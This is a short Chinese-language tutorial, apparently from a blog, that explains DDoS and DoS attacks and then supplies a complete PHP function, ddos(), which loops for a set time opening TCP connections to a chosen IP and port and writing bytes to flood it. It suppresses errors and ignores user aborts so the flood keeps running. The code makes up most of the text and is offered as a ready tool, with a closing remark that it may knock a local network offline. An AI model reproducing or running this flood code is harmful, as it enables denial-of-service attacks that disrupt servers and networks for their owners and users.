DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击。
这些东西貌似应该是C和C++或者其他什么东西搞出来的。
PHP可以吗?值得怀疑……
事实证明可以,不过有点儿打折,因为,攻击程序是单点对单点的不是分布式的,所以明确一点儿说应该是dos 拒绝服务攻击。
PHP的底层是C,同时PHP中提供了socket接口,有了这些东西,也就完成了ddos攻击的条件之一,可以用服务器来不停的向攻击目标发起连接,然后写入无意义的字节。
连接函数是fsockopen();这里我们传值”tcp://$ip”,端口,错误号和错误信息,最后一个参数写0,然后可以获得句柄。
通过fwrite不停的想连接中写入字节,然后关闭连接。
如此循环,直到一定的时间。
详细代码如下:
function ddos($ip='127.0.0.1',$port=80,$errorno=0,$errstr='',$time=30) {
error_reporting(0);
ignore_user_abort(TRUE);
$exec_time = time() + $time ;
$byte = 0;
while(1) {
$byte++;
if(time() > $exec_time) {
break;
}
$fp = fsockopen("tcp://$ip",$port,$errorno,$errstr,0);
if($fp) {
fwrite($fp,$byte);
fclose($fp);
}
}
}
ddos();
注意传值传IP,可能造成小范围内局域网不能上网。 |